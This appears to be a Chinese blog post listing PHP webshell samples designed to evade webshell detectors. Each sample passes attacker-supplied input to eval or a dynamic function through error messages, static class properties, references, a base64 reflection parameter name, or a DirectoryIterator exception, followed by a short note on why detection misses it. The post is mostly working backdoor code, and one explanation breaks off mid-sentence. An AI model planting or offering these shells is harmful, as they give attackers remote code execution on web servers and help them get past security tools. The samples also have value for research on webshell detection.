如果代码中有什么错误或者描述并不准确的,可以加我的微信:qiye_hack, 与我私下交流, 感谢。
<?php
if($_GET[j]>2){
$a='sys'.$_GET[i];
$a("ls");
}else{
echo "hello";
}
- 报错方式:
$_GET[$_GET['aaa']];
$a= str_replace("Undefined index: ","",explode('|',error_get_last()["message"])[0]);
eval($a);
思路:error_get_last函数可以获取 上一次的错误信息,通过$_GET[$_GET['aaa']] 产生报错,通过报错信息将传入的变量进行间接传递交给eval执行。
- 父子类数据共享:
<?php
class A { static $a; }
class B extends A {}
A::$a = $_GET[0];
eval(B::$a);
?>
思路:将传入变量的值交给父类,但是子类可以获取父类的值,从而打断污点传播。
- unset绕过动态
<?php
function test(&$a){
$a = $_GET["m"];
}
test(${$_GET["c"]});
eval($a);
?>
思路:
首先单独的eval(
- 利用反射
<?php
function test($ZXZhbCgkX0dFVFsxXSk7){
}
$a = new ReflectionFunction($_GET["m"]);
eval(base64_decode($a->getParameters()[0]->name));
思路: 这是一个比较巧妙的反射利用,首先构造一个特殊的反射函数或者类,其中的某个名称或者变量是一个代码执行的payload,其次利用反射类ReflectionFunction获取自定义构造函数,如上例中的函数参数名称,之后再调用执行。这种绕过动态的基本原理与之前相似,也是必须要传入特定的payload才能成功触发代码执行。
- 利用new特殊类绕过
<?php
try {
new $_GET["c"]($_GET["m"]);
}catch (UnexpectedValueException $exception){
eval(substr($exception->getMessage(),strlen('DirectoryIterator::__construct(')));
}
绕过原理:
首先测试到new $_GET["c"];并不会判断为恶意,然后我们就可以利用一些内置类进行构造,这里可以利用内置类DirectoryIterator构造报错UnexpectedValueException,然后捕获异常从而继续执行代码。